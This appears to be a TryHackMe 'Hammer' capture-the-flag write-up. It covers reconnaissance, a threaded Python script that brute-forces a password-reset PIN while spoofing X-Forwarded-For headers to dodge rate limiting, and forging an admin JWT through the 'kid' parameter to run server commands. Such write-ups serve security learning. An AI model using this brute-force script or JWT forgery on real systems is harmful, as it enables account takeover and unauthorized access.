TryHackMe - Hammer writeup

Published on by logoseq

Walkthrough


Summary:

This lab focused on exploiting weak security through brute-forcing a 4-digit PIN and manipulating JWT validation.

We bypassed a rate-limited PIN system using brute force, gaining access to the account and changing the password. Next, we exploited a vulnerability in the JWT kid parameter by pointing it to a file path on the server, signing a new token, and bypassing authentication.

The lab highlighted vulnerabilities in rate-limiting and JWT handling, emphasizing the need for stronger security measures.


Below you can see my xMind map of the lab!

Hammer Map

Foothold:

As always, I started with an nmap scan, which revealed ports 22 and 1337 open. Port 22 wasn't useful because it didn't allow login using a password. On port 1337, I found an open HTTP server.

        22/tcp open  ssh     OpenSSH 8.2p1 Ubuntu 4ubuntu0.11
        1337/tcp open  http    Apache httpd 2.4.41
          http-methods: 
          |_  Supported Methods: GET HEAD POST OPTIONS
            

There was a login page at /index.php, and on that page, there was a password reset link at /reset_password.php. I followed the link and found a page with a form to enter the new password. Viewing the source code, I found a comment indicating that a directory must start with hmr_ followed by directory_name.

I used ffuf to search for other directories and found an interesting one, hmr_logs, which contained an error.log file.

I opened the error.log file and found some directories that weren’t useful at all, along with a username which made me think it was an admin and I could reset his password via /reset_password.php page.

Exploitation:

Since there was a user ******@hammer.thm, I added hammer.thm to my /etc/hosts file.

I remembered there was a /reset_password.php page with a form to reset the password. I tried to send a password reset request, but it asked for a PIN.

I attempted to brute-force the PIN using Burp Intruder, but the system had rate limiting. I decided to write a Python script to brute-force the PIN and bypass the rate limit. I found an interesting article about bypassing rate limits. Here you can read about it: Rate-Limit-Pending bypass. I used " X-Forwarded-For " twice but it should work even if you use only one.
P.S: You have to change the IP each request you send to keep the Rate-Limit-Pending : 8

I wrote a Python script to bypass the rate limit, but it wasn’t enough due to the time constraint (180 seconds) before a new request could be made. I then asked ChatGPT to modify my code and add threading. After running the script with 6 threads, it worked!

  import requests, re, time
  from random import randint
  from concurrent.futures import ThreadPoolExecutor
  # Function to attempt a single recovery code
  def try_code(code):
      global s, url  # Use the session and URL from the global scope
      s.headers.update({
          "X-Forwarded-For": f"{randint(1,254)}.{randint(1,254)}.{randint(1,254)}.{randint(1,254)}",
          "X-Forwarded-Host": f"{randint(1,254)}.{randint(1,254)}.{randint(1,254)}.{randint(1,254)}"
      })
      code_str = f"{code:04d}"
      answer = s.post(url=url, data={"recovery_code": code_str, "s": 180})
      res = re.search(r"Invalid or expired recovery code", answer.text)
      if not res:
          print(f"Found valid recovery code: {code_str}")
          return code_str
      return None
  
  # Initialize session and make the initial request
  s = requests.session()
  url = "http://lab.thm:1337/reset_password.php"
  s.headers.update({"Content-Type": "application/x-www-form-urlencoded"})
  r = s.post(url=url, data={"email": "tester@hammer.thm"})
  
  # Use ThreadPoolExecutor to test multiple codes concurrently
  with ThreadPoolExecutor(max_workers=6) as executor:
      futures = {executor.submit(try_code, code): code for code in range(0, 10000)}
      for future in futures:
          code = futures[future]
          if code % 100 == 0:
              print(f"Trying code: {code:04d}")
          result = future.result()
          if result is not None:
              print(f"Found valid recovery code: {result}")
              break
          time.sleep(0.2)
          
Image of a terminal that run the python script to find the recovery code and found code: 2865

I used that code to change the password and log in. There was the first flag.

A web page dashboard with the thm first flag and an input that could be used to run OS commands on the server.

Post Exploitation:

I tried to run OS commands but the only one that worked was ls and indeed I found a interesting .key file. Inside that file I found the key used to sign the jwt token.

a random string from the server that was the signing key used to create the jwt token

Then I copied the jwt token from cookie and used it to craft a new jwt token. I changed the following values:

  "kid": "/var/www/html/*******.key"
  [...]
  "role": "admin"
  [...]
  HMACSHA256 secret to one that I found earlier from *******.key
            

I send a new OS command and it worked, then I read the flag from /home/ubuntu/flag.txt